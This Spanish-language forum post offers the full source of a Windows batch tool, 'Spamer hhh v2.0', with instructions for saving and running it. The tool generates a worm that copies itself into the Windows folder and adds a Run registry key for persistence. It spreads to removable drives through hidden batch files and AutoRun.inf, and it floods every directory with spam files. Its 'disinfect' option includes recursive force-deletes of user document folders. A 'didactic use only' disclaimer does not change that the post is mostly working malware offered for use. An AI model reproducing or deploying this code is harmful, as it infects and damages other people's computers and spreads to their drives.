espero les guste.
codigo fuente: (Para los que no saben si lo quieren usar solo copien el codigo fuente, peguenlo en el block de notas y guarden como.. nobreque sea.bat o nombrequesea.cmd)
Espero les guste.
Código:
@echo off :ini color f0 mode con cols=30 lines=13 title Spamer -hhh- v2.0 set Ä=ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ::-Created by Guerrerohgp-:: :strt cls set hgp= echo. Ú%Ä%¿ echo.&echo. 1.Crear nuevo spamer.&echo.&echo. 2.Desinfectarte de virus.&echo.&echo. 3.INFO&echo. echo. À%Ä%Ù set /p "hgp= ->" if not defined hgp goto strt if t%hgp%==t1 goto createhhh if t%hgp%==t2 goto quithhh if t%hgp%==t3 goto info goto strt :createhhh cls&echo. Cual es tu mensaje para hacer spam?&echo.&set /p G= -::^> cls&echo.&echo. es tu mensaje? echo.&echo %G% echo.&echo. 1.si 2.no&&set /p es=::^> if %es%==1 goto num cls&goto createhhh :num cls&echo. Cuantos archivos spam deceas&echo. que se envien en cada &echo. carpeta?&echo.&set /p n= -::^> if %n% lss 1 goto num if %n% gtr 100 (msg * ERROR, SOLO NUMEROS Y SOLO HASTA 100&goto num) echo ^@echo off>>%homedrive%\hh.cmd echo title spam hhh>>%homedrive%\hh.cmd echo if exist ^"%%windir%%\win.cmd^" goto spam>>%homedrive%\hh.cmd echo copy /y %%0 ^"%%windir%%\win.cmd^">>%homedrive%\hh.cmd echo reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v spm /t REG_SZ /d ^"%%windir%%\win.cmd^">>%homedrive%\hh.cmd echo :spam>>%homedrive%\hh.cmd echo for %%%%h in (b c d e f g h i j k l m n o p q r s t u v w x y z) do (set usb=%%%%h>>%homedrive%\hh.cmd echo call:nm)>>%homedrive%\hh.cmd echo goto hgp1>>%homedrive%\hh.cmd echo :nm>>%homedrive%\hh.cmd echo if exist %%usb%%:\ (copy /y %%0 "%%usb%%:\hgp.bat">>%homedrive%\hh.cmd echo attrib +h "%%usb%%:\hgp.bat">>%homedrive%\hh.cmd echo call :usbvir %%usb%%) else (goto:eof)>>%homedrive%\hh.cmd echo :hgp1>>%homedrive%\hh.cmd echo cd %%homedrive%%\>>%homedrive%\hh.cmd echo call:shgp %%homedrive%%>>%homedrive%\hh.cmd echo for /r /d %%%%g in (*) do call:shgp %%%%g>>%homedrive%\hh.cmd echo exit>>%homedrive%\hh.cmd echo :shgp>>%homedrive%\hh.cmd echo for /l %%%%a in (1,2,%n%) do echo %G%^>^>%%^*\leeme%%%%a.txt>>%homedrive%\hh.cmd echo goto:eof>>%homedrive%\hh.cmd echo :usbvir>>%homedrive%\hh.cmd echo echo [Autorun] ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo echo open="hgp.bat" ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo echo icon=%%windir%%\system32\shell32.dll,4 ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo echo action=Abrir Carpeta para ver archivos. ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo echo shell\open=Abrir ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo attrib +h +s +r ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo goto:eof>>%homedrive%\hh.cmd ren %homedrive%\hh.cmd %homedrive%\infectionhhh.cmd cls echo listo!! msg * Archivo listo y guardado en %homedrive%\infectionhhh.cmd msg * no ejecutes el archivo o te infectaras. msg * Created By Guerrerohgp pause >nul cls&call %0 exit :quithhh cls title hhh spam desinfector del /f /q /s "%windir%\win.cmd" reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v spm /f call:sshgp %homedrive% for %%h in (b c d e f g h i j k l m n o p q r s t u v w x y z) do (set usb=%%h call:nm) :nm if exist "%usb%:\hgp.bat" del /f/q/s "%usb%:\hgp.bat" if exist "%usb%:\AutoRun.inf" del /f/q/s "%usb%:\AutoRun.inf" goto:eof del /f/q/s %homedrive%\Archivos del /f/q/s %homedrive%\Documents cd %homedrive%\ for /r /d %%h in (*) DO call:sshgp %%h exit :sshgp for /l %%a in (1,2,100) do del /f/q/s %*\leeme%%a.txt goto:eof pause>nul exit :info cls echo Este scrip es de uso libre&echo.&echo. y solo con fines didacticos echo.&echo.No soy Responsable del mal uso del scrip. pause>nul cls echo.&echo. %Ä%&echo.&echo. Creado Por:&echo.&echo.&echo. Guerrerohgp echo. %Ä% echo. guerrerohgp@jotmeil.com pause>nul&cls goto iniCualquier bug favor notificarmelo.
